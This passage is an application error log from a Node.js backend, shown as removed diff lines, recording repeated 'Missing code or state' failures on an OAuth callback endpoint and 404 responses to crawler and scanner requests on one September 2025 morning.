'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54_5HlhrTik-h9JsCbEoRdk'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54'... 440 more characters, - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' - }, - requestId: 'req_1758618358378_pptpe5msl' -} -❌ [ERROR] 2025-09-23T09:05:58.383Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54_5HlhrTik-h9JsCbEoRdk30o9ZEBNlqdifhJXkyo4PxrN8TuwM8dFrhmTaFwfaUNclTMiT09UvG5-A20ueSWcCzJNXusPRRoe58cSKnDBKi1Xozk0GeNjN7Or9YKYMmmq6J1x84juQWgTbe1AXUHh7Hoi4hGmiMMDuOrAOoLEYay8i3Vg6Y7bh0LjpF-i5bRlhWhFPVneySUB_RzdXZuJDzkmSyg_ygOtTw4ZK2ZN5S1l09tn2mcfcsVp1R3EB5u6K3K-KFARe_KbYxhxHIZRwR-rE57QmQ0adhozE5iYt1mhLct6hr5NVoZZt1R1Ia24TX2bKGITKqVshyZsmp44hmIyFyMba5W6vJYwta10LwDHjgWVokieDctvDjYdY7LiS5sw3dLWr7w0RQk2r7C8ylq6hd8QjvnOmxGyXTRrqkIUzqUa2j0EOU4 - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 5, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54'... 440 more characters, - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' - }, - requestId: 'req_1758618358378_pptpe5msl', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T09:13:23.965Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:196.251.86.39', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15' - }, - requestId: 'req_1758618803963_bzqwnzg5q', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1lOQzl1FMavLpc1tWC7d6jSRn_Pdg4E-sAfsc18zJI8_ywU48FRDD635pPlnCoVWH6xQ44J-X5B_qxiZYIOKJi-4yMOTJLz4g_X94uprPkBaPNvTMK8r8xfmpt9eY2Q8U-wZMYaj3C_y9MaAGpGDgP_sBWWvVqHUTR39Y39umiErrDEGXbcGuI9CPlqRiovj70jfGxlzRooSKEo05jWMO9rG5sH7bM3XD_0rI_6-dd-n2EwoLzN-TIJcRtI5bpuO2cJb7HQ4BQtD5IkrHnbW0ViVfiyGH_GO-xeKjgPCJ3GK3Tq5N90j-4T9gwnvOFJd_4YbEmx7PWj6c-Oz8KFdXUff0O_4VHyN8XMtcqH8Hb8F0LVKGg24nqaKXalh3pyXJ1RthkSAcJVDaRyamMPrKh2VSmp6oJnrnWq6F0gsb9roAOdp-sJIPJzcv0', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '54.175.74.27', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T09:21:01.016Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1lOQzl1FMavLpc1tWC7d6jS'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1l'... 440 more characters, - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' - }, - requestId: 'req_1758619261011_k5vc3z4sm' -} -❌ [ERROR] 2025-09-23T09:21:01.018Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1lOQzl1FMavLpc1tWC7d6jSRn_Pdg4E-sAfsc18zJI8_ywU48FRDD635pPlnCoVWH6xQ44J-X5B_qxiZYIOKJi-4yMOTJLz4g_X94uprPkBaPNvTMK8r8xfmpt9eY2Q8U-wZMYaj3C_y9MaAGpGDgP_sBWWvVqHUTR39Y39umiErrDEGXbcGuI9CPlqRiovj70jfGxlzRooSKEo05jWMO9rG5sH7bM3XD_0rI_6-dd-n2EwoLzN-TIJcRtI5bpuO2cJb7HQ4BQtD5IkrHnbW0ViVfiyGH_GO-xeKjgPCJ3GK3Tq5N90j-4T9gwnvOFJd_4YbEmx7PWj6c-Oz8KFdXUff0O_4VHyN8XMtcqH8Hb8F0LVKGg24nqaKXalh3pyXJ1RthkSAcJVDaRyamMPrKh2VSmp6oJnrnWq6F0gsb9roAOdp-sJIPJzcv0 - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 6, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1l'... 440 more characters, - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' - }, - requestId: 'req_1758619261011_k5vc3z4sm', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T09:23:04.844Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:206.168.34.212', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758619384843_ppcevyo70', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T09:23:12.185Z HTTP GET /wiki - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:206.168.34.212', - method: 'GET', - url: '/wiki', - userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' - }, - requestId: 'req_1758619392183_w1o34dbi7', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T09:32:18.167Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758619938164_qs0ewn7ch' -} -❌ [ERROR] 2025-09-23T09:32:18.170Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 6, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758619938164_qs0ewn7ch', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T09:39:40.439Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758620380438_bjmnv1dfq' -} -❌ [ERROR] 2025-09-23T09:39:40.440Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758620380438_bjmnv1dfq', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T09:47:21.860Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758620841859_45l4wi9tw' -} -❌ [ERROR] 2025-09-23T09:47:21.861Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758620841859_45l4wi9tw', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T09:55:14.102Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758621314093_eubc945hf' -} -❌ [ERROR] 2025-09-23T09:55:14.114Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 21, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758621314093_eubc945hf', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T10:03:21.267Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758621801266_d82l4casy' -} -❌ [ERROR] 2025-09-23T10:03:21.268Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758621801266_d82l4casy', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T10:06:13.209Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758621973208_2rpszjdao', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T10:07:15.151Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758622035149_zko3j1yyu', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '184.105.247.195', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T10:08:49.710Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99 Safari/537.36' - }, - requestId: 'req_1758622129709_iwoeujzyf' -} -❌ [ERROR] 2025-09-23T10:08:49.711Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99 Safari/537.36' - }, - requestId: 'req_1758622129709_iwoeujzyf', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T10:11:43.356Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758622303355_ha2latlx6' -} -❌ [ERROR] 2025-09-23T10:11:43.357Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758622303355_ha2latlx6', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T10:20:18.937Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758622818936_5mp520mhm' -} -❌ [ERROR] 2025-09-23T10:20:18.938Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758622818936_5mp520mhm', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T10:29:08.278Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758623348277_fo7lyzmxk' -} -❌ [ERROR] 2025-09-23T10:29:08.278Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758623348277_fo7lyzmxk', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T10:37:16.893Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:31.14.32.8', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)' - }, - requestId: 'req_1758623836893_ssk8ojeev', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T10:38:13.701Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758623893701_quv2ppq8g' -} -❌ [ERROR] 2025-09-23T10:38:13.702Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758623893701_quv2ppq8g', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T10:47:25.791Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758624445790_yq7eyr2nv' -} -❌ [ERROR] 2025-09-23T10:47:25.792Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758624445790_yq7eyr2nv', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T10:56:50.026Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at 